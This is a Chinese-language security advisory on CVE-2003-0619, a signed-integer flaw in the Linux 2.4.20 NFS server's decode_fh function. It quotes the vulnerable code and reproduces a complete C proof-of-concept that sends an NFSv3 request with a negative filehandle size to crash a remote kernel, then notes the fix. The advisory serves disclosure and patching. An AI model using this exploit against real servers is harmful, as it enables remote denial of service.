安全研究
安全漏洞
Linux Kernel XDR远程拒绝服务攻击漏洞
发布日期:2003-07-29
更新日期:2003-08-01
受影响系统:
Linux kernel 2.4.20不受影响系统:
Linux kernel 2.4.21描述:
CVE(CAN) ID: CVE-2003-0619
Linux是一款开放源代码的操作系统。
Linux在处理部分恶意NFSv3类型的XDR数据时存在问题,远程攻击者可以利用这个漏洞对Linux进行拒绝服务攻击。
问题存在于fs/nfsd/nfs3xdr.c中的decode_fh函数中,代码如下:
static inline u32 *
decode_fh(u32 *p, struct svc_fh *fhp)
{
int size;
fh_init(fhp, NFS3_FHSIZE);
size = ntohl(*p++);
if (size > NFS3_FHSIZE)
return NULL;
memcpy(&fhp->fh_handle.fh_base, p, size);
fhp->fh_handle.fh_size = size;
return p + XDR_QUADLEN(size);
}
上面的p是攻击者可控制的XDR数据,如果size为负值,由于缺少正确检查,直接把恶意值传递给memcpy,可导致在拷贝的时候发生基于整数溢出性质的问题,会出现内核崩溃。
<*来源:Jared Stanbrough (jareds@pdx.edu)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105950927708272&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
Linux 2.4.x knfsd kernel signed/unsigned decode_fh DoS
Author: jared stanbrough <jareds@pdx.edu>
Date: 07/19/2003
Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64)
static inline u32 *
decode_fh(u32 *p, struct svc_fh *fhp)
{
int size;
fh_init(fhp, NFS3_FHSIZE);
size = ntohl(*p++);
if (size > NFS3_FHSIZE)
return NULL;
memcpy(&fhp->fh_handle.fh_base, p, size);
fhp->fh_handle.fh_size = size;
return p + XDR_QUADLEN(size);
}
This code is called by quite a few XDR decoding routines. The below
POC demonstrates the vulnerability by encoding a malicious fhsize
at the beginning of a diroparg xdr argument.
To test this, the vulnerable host must have an accessible exported
directory which was previously mounted by the attacker. _HOWEVER_
it may be possible to trigger this bug by some other method.
Fix: Simply change size to an unsigned int, or check for size < 0.
*/
#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1
static struct diropargs heh;
bool_t xdr_heh(XDR *xdrs, diropargs *heh)
{
int32_t werd = -1;
return xdr_int32_t(xdrs, &werd);
}
int main(void)
{
CLIENT * client;
struct timeval tv;
client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");
if(client == NULL) {
perror("clnt_create\n");
}
tv.tv_sec = 3;
tv.tv_usec = 0;
client->cl_auth = authunix_create_default();
clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
(xdrproc_t) xdr_void, NULL, tv);
return 0;
}
建议:
厂商补丁:
Linux
-----
目前厂商已经在2.4.21以后的版本中修复了这个安全问题,请到厂商的主页下载:
http://www.kernel.org/
浏览次数:3094
严重程度:10(网友投票)
绿盟科技给您安全的保障